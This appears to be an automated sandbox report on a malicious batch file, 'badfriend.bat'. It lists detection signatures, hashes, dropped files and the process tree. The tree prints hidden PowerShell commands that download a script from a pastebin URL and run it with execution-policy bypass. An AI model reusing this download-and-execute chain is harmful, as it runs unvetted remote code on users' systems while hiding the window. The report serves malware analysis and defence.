Analysis

  • max time kernel
    149s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/04/2026, 20:02

General

  • Target
    badfriend.bat
  • Size 923B
  • Sample260424-ysbstsbt9n
  • SHA256 6ee027a1b72a6c19af3141b036cd2f66eabba79e0f87c85ddbe98ead6d397a44
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3852
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat" h
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/xni3yjBp' -OutFile 'temp_script.ps1'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "temp_script.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3664

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e1299c5457a20a3a0ddcee37c29fc652d4641f16291d33774267472759d2cbaf
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_rmwqhaqa.d1q.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmwqhaqa.d1q.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        temp_script.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\temp_script.ps1
        • Size 90B
        • SHA256 e122d389705846a485c4f818363a6903cdb2ff43a493b0606daa664c3fb0c1b0
        • MD5 SHA1 SHA512 TLSH

        memory/1660-9-0x0000020739840000-0x0000020739850000-memory.dmp

        memory/1660-13-0x0000020737AF0000-0x0000020737AFC000-memory.dmp

        memory/1660-15-0x0000020739780000-0x0000020739792000-memory.dmp

        memory/1660-14-0x0000020739850000-0x00000207398FF000-memory.dmp

        memory/1660-7-0x0000020751960000-0x0000020751982000-memory.dmp

        memory/1660-1-0x0000020739840000-0x0000020739850000-memory.dmp

        memory/1660-0-0x0000020739840000-0x0000020739850000-memory.dmp

        memory/3664-18-0x00000297186C0000-0x00000297186D0000-memory.dmp

        memory/3664-17-0x00000297186C0000-0x00000297186D0000-memory.dmp

        memory/3664-30-0x00000297004C0000-0x00000297004D2000-memory.dmp

        memory/3664-29-0x0000029700420000-0x000002970042C000-memory.dmp

        memory/3664-28-0x000002977E420000-0x000002977E4CE000-memory.dmp